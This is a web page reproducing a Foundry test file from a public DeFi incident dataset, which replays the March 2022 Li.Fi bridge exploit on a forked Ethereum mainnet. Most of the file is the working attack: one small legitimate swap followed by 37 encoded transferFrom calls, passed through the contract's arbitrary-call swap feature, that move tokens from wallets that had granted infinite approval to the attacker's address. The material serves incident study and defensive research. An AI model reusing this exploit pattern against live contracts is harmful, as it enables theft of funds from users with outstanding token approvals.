Public reproduction file
src/test/2022-03/LiFi_exp.sol
Public reproduction file for dataset entry Li.Fi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7interface ILIFI {8 struct LiFiData {9 bytes32 transactionId;10 string integrator;11 address referrer;12 address sendingAssetId;13 address receivingAssetId;14 address receiver;15 uint256 destinationChainId;16 uint256 amount;17 }19 struct SwapData {20 address callTo;21 address approveTo;22 address sendingAssetId;23 address receivingAssetId;24 uint256 fromAmount;25 bytes callData;26 }28 struct CBridgeData {29 address receiver;30 address token;31 uint256 amount;32 uint64 dstChainId;33 uint64 nonce;34 uint32 maxSlippage;35 }37 function swapAndStartBridgeTokensViaCBridge(38 LiFiData memory _liFiData,39 SwapData[] calldata _swapData,40 CBridgeData memory _cBridgeData41 ) external payable;42}44contract ContractTest is Test {45 address from = address(0xC6f2bDE06967E04caAf4bF4E43717c3342680d76);46 address lifi = address(0x5A9Fd7c39a6C488E715437D7b1f3C823d5596eD1);47 address exploiter = address(0x878099F08131a18Fab6bB0b4Cfc6B6DAe54b177E);48 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);50 function setUp() public {51 cheats.createSelectFork("mainnet", 14_420_686); //fork mainnet at block 1442068652 }54 function testExploit() public {55 cheats.startPrank(from);57 // The Vulnerability58 // The hack took advantage of our pre-bridge swap feature. Our smart contract allows a caller to pass an array of multiple swaps using any address with arbitrary calldata.60 // This design gave us maximum flexibility in what DEXs we could call and what methods we could call. This also allowed anyone to call other contracts, not just DEXs. Our contract checks to make sure that the result of the swap or swaps is enough tokens to continue the bridging operation.62 // The attacker started by passing a legitimate swap of a small amount followed by multiple calls directly to various token contracts. Specifically, they called the `transferFrom` method which allowed the attacker to transfer funds from users’ wallets that had previously given infinite approval to our contract for that specific token.63 ILIFI.LiFiData memory _lifiData = ILIFI.LiFiData({64 transactionId: 0x1438ff9dd1cf9c70002c3b3cbec9c4c1b3f9eb02e29bcac90289ab3ba360e605,65 integrator: "li.finance",66 referrer: 0x0000000000000000000000000000000000000000,67 sendingAssetId: 0xdAC17F958D2ee523a2206206994597C13D831ec7,68 receivingAssetId: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,69 receiver: 0x878099F08131a18Fab6bB0b4Cfc6B6DAe54b177E,70 destinationChainId: 42_161,71 amount: 50_000_00072 });73 ILIFI.SwapData[] memory _swapData = new ILIFI.SwapData[](38);74 _swapData[0] = ILIFI.SwapData({75 approveTo: 0xDef1C0ded9bec7F1a1670819833240f027b25EfF,76 callData: hex"d9627aa400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000002faf0800000000000000000000000000000000000000000000000000000000002625a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48",77 // sellToUniswap(address[],uint256,uint256,bool)78 // {79 // "tokens":[80 // 0:"0xdac17f958d2ee523a2206206994597c13d831ec7"81 // 1:"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48"82 // ]83 // "sellAmount":"50000000"84 // "minBuyAmount":"40000000"85 // "isSushi":false86 // }87 callTo: 0xDef1C0ded9bec7F1a1670819833240f027b25EfF,88 fromAmount: 50_000_000,89 receivingAssetId: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,90 sendingAssetId: 0xdAC17F958D2ee523a2206206994597C13D831ec7 // fromAssetId91 // if (!LibAsset.isNativeAsset(fromAssetId) && LibAsset.getOwnBalance(fromAssetId) < fromAmount) {92 // LibAsset.transferFromERC20(_swapData.sendingAssetId, msg.sender, address(this), fromAmount);93 // }94 });96 // if (!LibAsset.isNativeAsset(fromAssetId)) {97 // LibAsset.approveERC20(IERC20(fromAssetId), _swapData.approveTo, fromAmount);98 // }100 // // solhint-disable-next-line avoid-low-level-calls101 // (bool success, bytes memory res) = _swapData.callTo.call{ value: msg.value }(_swapData.callData);103 _swapData[1] = ILIFI.SwapData({104 approveTo: 0x0000000000000000000000000000000000000000,105 callData: hex"23b872dd000000000000000000000000445c21166a3cb20b14fa84cfc5d122f6bd3ffa17000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000a4a88a24badca2e52e", // transferFrom(address,address,uint256)106 callTo: 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,107 fromAmount: 0,108 receivingAssetId: 0x0000000000000000000000000000000000000000,109 sendingAssetId: 0x0000000000000000000000000000000000000000110 });111 _swapData[2] = ILIFI.SwapData({112 approveTo: 0x0000000000000000000000000000000000000000,113 callData: hex"23b872dd0000000000000000000000009b36f2bc04cd5b8a38715664263a3b3b856bc1cf000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000005d38a3a4feb066cdb",114 callTo: 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,115 fromAmount: 0,116 receivingAssetId: 0x0000000000000000000000000000000000000000,117 sendingAssetId: 0x0000000000000000000000000000000000000000118 });119 _swapData[3] = ILIFI.SwapData({120 approveTo: 0x0000000000000000000000000000000000000000,121 callData: hex"23b872dd0000000000000000000000005a7517b2a3a390aaec27d24b1621d0b9d7898dd4000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000026e91d77e24f35800",122 callTo: 0xB4EFd85c19999D84251304bDA99E90B92300Bd93,123 fromAmount: 0,124 receivingAssetId: 0x0000000000000000000000000000000000000000,125 sendingAssetId: 0x0000000000000000000000000000000000000000126 });127 _swapData[4] = ILIFI.SwapData({128 approveTo: 0x0000000000000000000000000000000000000000,129 callData: hex"23b872dd0000000000000000000000009241f27daffd0bb1df4f2a022584dd6c77843e64000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000d1b335f4a843b00",130 callTo: 0x6810e776880C02933D47DB1b9fc05908e5386b96,131 fromAmount: 0,132 receivingAssetId: 0x0000000000000000000000000000000000000000,133 sendingAssetId: 0x0000000000000000000000000000000000000000134 });135 _swapData[5] = ILIFI.SwapData({136 approveTo: 0x0000000000000000000000000000000000000000,137 callData: hex"23b872dd0000000000000000000000008de133a0859b847623c282b4dc5e18de5dbfd7d1000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000002a3c4547b2",138 callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,139 fromAmount: 0,140 receivingAssetId: 0x0000000000000000000000000000000000000000,141 sendingAssetId: 0x0000000000000000000000000000000000000000142 });143 _swapData[6] = ILIFI.SwapData({144 approveTo: 0x0000000000000000000000000000000000000000,145 callData: hex"23b872dd0000000000000000000000009241f27daffd0bb1df4f2a022584dd6c77843e64000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000001c15d7994f",146 callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,147 fromAmount: 0,148 receivingAssetId: 0x0000000000000000000000000000000000000000,149 sendingAssetId: 0x0000000000000000000000000000000000000000150 });151 _swapData[7] = ILIFI.SwapData({152 approveTo: 0x0000000000000000000000000000000000000000,153 callData: hex"23b872dd000000000000000000000000d92b2a99da006e72b48a14e4c23766e22b4ce395000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000002540be400",154 callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,155 fromAmount: 0,156 receivingAssetId: 0x0000000000000000000000000000000000000000,157 sendingAssetId: 0x0000000000000000000000000000000000000000158 });159 _swapData[8] = ILIFI.SwapData({160 approveTo: 0x0000000000000000000000000000000000000000,161 callData: hex"23b872dd000000000000000000000000ffd2a8f4275e76288d31dbb756ce0e6065a3d766000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000010ad40bb4",162 callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,163 fromAmount: 0,164 receivingAssetId: 0x0000000000000000000000000000000000000000,165 sendingAssetId: 0x0000000000000000000000000000000000000000166 });167 _swapData[9] = ILIFI.SwapData({168 approveTo: 0x0000000000000000000000000000000000000000,169 callData: hex"23b872dd0000000000000000000000007c89a5373312f9a02dd5c5834b4f2e3e6ce1cd96000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000c13102d87",170 callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,171 fromAmount: 0,172 receivingAssetId: 0x0000000000000000000000000000000000000000,173 sendingAssetId: 0x0000000000000000000000000000000000000000174 });175 _swapData[10] = ILIFI.SwapData({176 approveTo: 0x0000000000000000000000000000000000000000,177 callData: hex"23b872dd0000000000000000000000005b9e4d0dd21f4e071729a9eb522a2366abed149a000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000016e1996e",178 callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,179 fromAmount: 0,180 receivingAssetId: 0x0000000000000000000000000000000000000000,181 sendingAssetId: 0x0000000000000000000000000000000000000000182 });183 _swapData[11] = ILIFI.SwapData({184 approveTo: 0x0000000000000000000000000000000000000000,185 callData: hex"23b872dd000000000000000000000000684abeba554fdb4a5dae32d652f198e25b64dc6e000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000000000000",186 callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,187 fromAmount: 0,188 receivingAssetId: 0x0000000000000000000000000000000000000000,189 sendingAssetId: 0x0000000000000000000000000000000000000000190 });191 _swapData[12] = ILIFI.SwapData({192 approveTo: 0x0000000000000000000000000000000000000000,193 callData: hex"23b872dd00000000000000000000000015697225d98885a4b007381ccf0006270d851a35000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000013e81d656f96060f4",194 callTo: 0x72e364F2ABdC788b7E918bc238B21f109Cd634D7,195 fromAmount: 0,196 receivingAssetId: 0x0000000000000000000000000000000000000000,197 sendingAssetId: 0x0000000000000000000000000000000000000000198 });199 _swapData[13] = ILIFI.SwapData({200 approveTo: 0x0000000000000000000000000000000000000000,201 callData: hex"23b872dd000000000000000000000000dffd8bbf8dcaf236c4e009ff6013bfc98407b6c0000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003b9aca00",202 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,203 fromAmount: 0,204 receivingAssetId: 0x0000000000000000000000000000000000000000,205 sendingAssetId: 0x0000000000000000000000000000000000000000206 });207 _swapData[14] = ILIFI.SwapData({208 approveTo: 0x0000000000000000000000000000000000000000,209 callData: hex"23b872dd0000000000000000000000002182e4f2034bf5451f168d0643b2083150ab7931000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002341895c",210 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,211 fromAmount: 0,212 receivingAssetId: 0x0000000000000000000000000000000000000000,213 sendingAssetId: 0x0000000000000000000000000000000000000000214 });215 _swapData[15] = ILIFI.SwapData({216 approveTo: 0x0000000000000000000000000000000000000000,217 callData: hex"23b872dd000000000000000000000000195b8b9598904b55e9770492bd697529492034a2000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003d7ffdf1",218 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,219 fromAmount: 0,220 receivingAssetId: 0x0000000000000000000000000000000000000000,221 sendingAssetId: 0x0000000000000000000000000000000000000000222 });223 _swapData[16] = ILIFI.SwapData({224 approveTo: 0x0000000000000000000000000000000000000000,225 callData: hex"23b872dd0000000000000000000000005b7ab4b4b4768923cddef657084223528c807963000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002e28786b",226 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,227 fromAmount: 0,228 receivingAssetId: 0x0000000000000000000000000000000000000000,229 sendingAssetId: 0x0000000000000000000000000000000000000000230 });231 _swapData[17] = ILIFI.SwapData({232 approveTo: 0x0000000000000000000000000000000000000000,233 callData: hex"23b872dd00000000000000000000000080e7ed83354833aa7b87988f7e0426cffe238a83000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003ba2ff5a",234 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,235 fromAmount: 0,236 receivingAssetId: 0x0000000000000000000000000000000000000000,237 sendingAssetId: 0x0000000000000000000000000000000000000000238 });239 _swapData[18] = ILIFI.SwapData({240 approveTo: 0x0000000000000000000000000000000000000000,241 callData: hex"23b872dd0000000000000000000000000586fcc2d0d400596ff326f30debaa3a79e33c25000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000000000000",242 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,243 fromAmount: 0,244 receivingAssetId: 0x0000000000000000000000000000000000000000,245 sendingAssetId: 0x0000000000000000000000000000000000000000246 });247 _swapData[19] = ILIFI.SwapData({248 approveTo: 0x0000000000000000000000000000000000000000,249 callData: hex"23b872dd000000000000000000000000cc77df7e9959c60e7ec427367e1ae6e2720d6735000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000012f226a2a",250 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,251 fromAmount: 0,252 receivingAssetId: 0x0000000000000000000000000000000000000000,253 sendingAssetId: 0x0000000000000000000000000000000000000000254 });255 _swapData[20] = ILIFI.SwapData({256 approveTo: 0x0000000000000000000000000000000000000000,257 callData: hex"23b872dd00000000000000000000000045372cce828e185bfb008942cfe42a4c5cc76a75000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000000b01afa3",258 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,259 fromAmount: 0,260 receivingAssetId: 0x0000000000000000000000000000000000000000,261 sendingAssetId: 0x0000000000000000000000000000000000000000262 });263 _swapData[21] = ILIFI.SwapData({264 approveTo: 0x0000000000000000000000000000000000000000,265 callData: hex"23b872dd00000000000000000000000014b2af25e47f590a145aad5be781687ca20edd97000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000005c486b90",266 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,267 fromAmount: 0,268 receivingAssetId: 0x0000000000000000000000000000000000000000,269 sendingAssetId: 0x0000000000000000000000000000000000000000270 });271 _swapData[22] = ILIFI.SwapData({272 approveTo: 0x0000000000000000000000000000000000000000,273 callData: hex"23b872dd0000000000000000000000003942ae3782fbd658cc19a8db602d937baf7cb57a000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000122ddf27c",274 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,275 fromAmount: 0,276 receivingAssetId: 0x0000000000000000000000000000000000000000,277 sendingAssetId: 0x0000000000000000000000000000000000000000278 });279 _swapData[23] = ILIFI.SwapData({280 approveTo: 0x0000000000000000000000000000000000000000,281 callData: hex"23b872dd000000000000000000000000461e76a4fe9f27605d4097a646837c32f1ccc31c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000039021c46d",282 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,283 fromAmount: 0,284 receivingAssetId: 0x0000000000000000000000000000000000000000,285 sendingAssetId: 0x0000000000000000000000000000000000000000286 });287 _swapData[24] = ILIFI.SwapData({288 approveTo: 0x0000000000000000000000000000000000000000,289 callData: hex"23b872dd00000000000000000000000000dacfd769bc30e4f64805761707573cb710552c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000000b3ee10b4",290 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,291 fromAmount: 0,292 receivingAssetId: 0x0000000000000000000000000000000000000000,293 sendingAssetId: 0x0000000000000000000000000000000000000000294 });295 _swapData[25] = ILIFI.SwapData({296 approveTo: 0x0000000000000000000000000000000000000000,297 callData: hex"23b872dd000000000000000000000000e5aedd6520c4d4e0cb4ee78784a0187d34d55adc000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002f033358",298 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,299 fromAmount: 0,300 receivingAssetId: 0x0000000000000000000000000000000000000000,301 sendingAssetId: 0x0000000000000000000000000000000000000000302 });303 _swapData[26] = ILIFI.SwapData({304 approveTo: 0x0000000000000000000000000000000000000000,305 callData: hex"23b872dd000000000000000000000000574a782a00dd152d98ff85104f723575d870698e000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000025fdc6ab6c",306 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,307 fromAmount: 0,308 receivingAssetId: 0x0000000000000000000000000000000000000000,309 sendingAssetId: 0x0000000000000000000000000000000000000000310 });311 _swapData[27] = ILIFI.SwapData({312 approveTo: 0x0000000000000000000000000000000000000000,313 callData: hex"23b872dd000000000000000000000000899cc16c88173de60f3c830d004507f8da3f975f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000000256a21f1",314 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,315 fromAmount: 0,316 receivingAssetId: 0x0000000000000000000000000000000000000000,317 sendingAssetId: 0x0000000000000000000000000000000000000000318 });319 _swapData[28] = ILIFI.SwapData({320 approveTo: 0x0000000000000000000000000000000000000000,321 callData: hex"23b872dd000000000000000000000000acf65a171c67a7074ee671240967696ab5d1185f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000008de801a3",322 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,323 fromAmount: 0,324 receivingAssetId: 0x0000000000000000000000000000000000000000,325 sendingAssetId: 0x0000000000000000000000000000000000000000326 });327 _swapData[29] = ILIFI.SwapData({328 approveTo: 0x0000000000000000000000000000000000000000,329 callData: hex"23b872dd0000000000000000000000002e70c44b708028a925a8021723ac92fb641292df000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002540be40",330 callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,331 fromAmount: 0,332 receivingAssetId: 0x0000000000000000000000000000000000000000,333 sendingAssetId: 0x0000000000000000000000000000000000000000334 });335 _swapData[30] = ILIFI.SwapData({336 approveTo: 0x0000000000000000000000000000000000000000,337 callData: hex"23b872dd000000000000000000000000b0d497a6cff14e0a0079d5feff0c51c929f5fc8d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000412e421a86d8d8f62c",338 callTo: 0x18aAA7115705e8be94bfFEBDE57Af9BFc265B998,339 fromAmount: 0,340 receivingAssetId: 0x0000000000000000000000000000000000000000,341 sendingAssetId: 0x0000000000000000000000000000000000000000342 });343 _swapData[31] = ILIFI.SwapData({344 approveTo: 0x0000000000000000000000000000000000000000,345 callData: hex"23b872dd00000000000000000000000026ab154c70aec017d78e6241da76949c37b171e2000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000007cc17a1fe0d54df3",346 callTo: 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9,347 fromAmount: 0,348 receivingAssetId: 0x0000000000000000000000000000000000000000,349 sendingAssetId: 0x0000000000000000000000000000000000000000350 });351 _swapData[32] = ILIFI.SwapData({352 approveTo: 0x0000000000000000000000000000000000000000,353 callData: hex"23b872dd000000000000000000000000dba64f019c92649cf645d598322ae1ae2318e55b000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000001cf8379e3ed13620c0fb",354 callTo: 0x8A9C67fee641579dEbA04928c4BC45F66e26343A,355 fromAmount: 0,356 receivingAssetId: 0x0000000000000000000000000000000000000000,357 sendingAssetId: 0x0000000000000000000000000000000000000000358 });359 _swapData[33] = ILIFI.SwapData({360 approveTo: 0x0000000000000000000000000000000000000000,361 callData: hex"23b872dd000000000000000000000000461e76a4fe9f27605d4097a646837c32f1ccc31c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000002024f6b417294747f9",362 callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,363 fromAmount: 0,364 receivingAssetId: 0x0000000000000000000000000000000000000000,365 sendingAssetId: 0x0000000000000000000000000000000000000000366 });367 _swapData[34] = ILIFI.SwapData({368 approveTo: 0x0000000000000000000000000000000000000000,369 callData: hex"23b872dd00000000000000000000000045f3fc38441b1aa7b60f8aad8954582b17c9503c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000049ab7af30eb3094af1",370 callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,371 fromAmount: 0,372 receivingAssetId: 0x0000000000000000000000000000000000000000,373 sendingAssetId: 0x0000000000000000000000000000000000000000374 });375 _swapData[35] = ILIFI.SwapData({376 approveTo: 0x0000000000000000000000000000000000000000,377 callData: hex"23b872dd0000000000000000000000006e5c200a784ba062ab770e6d317637f2fc82e53d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000122896df4db9525ea3d",378 callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,379 fromAmount: 0,380 receivingAssetId: 0x0000000000000000000000000000000000000000,381 sendingAssetId: 0x0000000000000000000000000000000000000000382 });383 _swapData[36] = ILIFI.SwapData({384 approveTo: 0x0000000000000000000000000000000000000000,385 callData: hex"23b872dd0000000000000000000000000bc06c67b5740b2cc0a54d9281a7bce5fd70984d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000036a008c79eef365851",386 callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,387 fromAmount: 0,388 receivingAssetId: 0x0000000000000000000000000000000000000000,389 sendingAssetId: 0x0000000000000000000000000000000000000000390 });391 _swapData[37] = ILIFI.SwapData({392 approveTo: 0x0000000000000000000000000000000000000000,393 callData: hex"23b872dd0000000000000000000000000df4fde307f216a7da118ad7eaec500d42eecc5f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000058dc1f67fb2f0f28a",394 callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,395 fromAmount: 0,396 receivingAssetId: 0x0000000000000000000000000000000000000000,397 sendingAssetId: 0x0000000000000000000000000000000000000000398 });400 ILIFI.CBridgeData memory _cBridgeData = ILIFI.CBridgeData({401 amount: 40_000_000,402 dstChainId: 42_161,403 maxSlippage: 255_921,404 nonce: 1_647_074_829_664,405 receiver: 0x878099F08131a18Fab6bB0b4Cfc6B6DAe54b177E,406 token: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48407 });409 ILIFI(lifi).swapAndStartBridgeTokensViaCBridge(_lifiData, _swapData, _cBridgeData);410 }411}Analysis
Dataset entry
Public Foundry test for “Li.Fi” (2022-03-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
File record
- Name
- Li.Fi
- Path
- src/test/2022-03/LiFi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0d5ed261d3bfd0144f69ebc0ea48f17262324f0a
- Language
- Solidity
- Size
- 412 lines
- Date
- 2022-03-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/LiFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0d5ed261d3bfd0144f69ebc0ea48f17262324f0a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.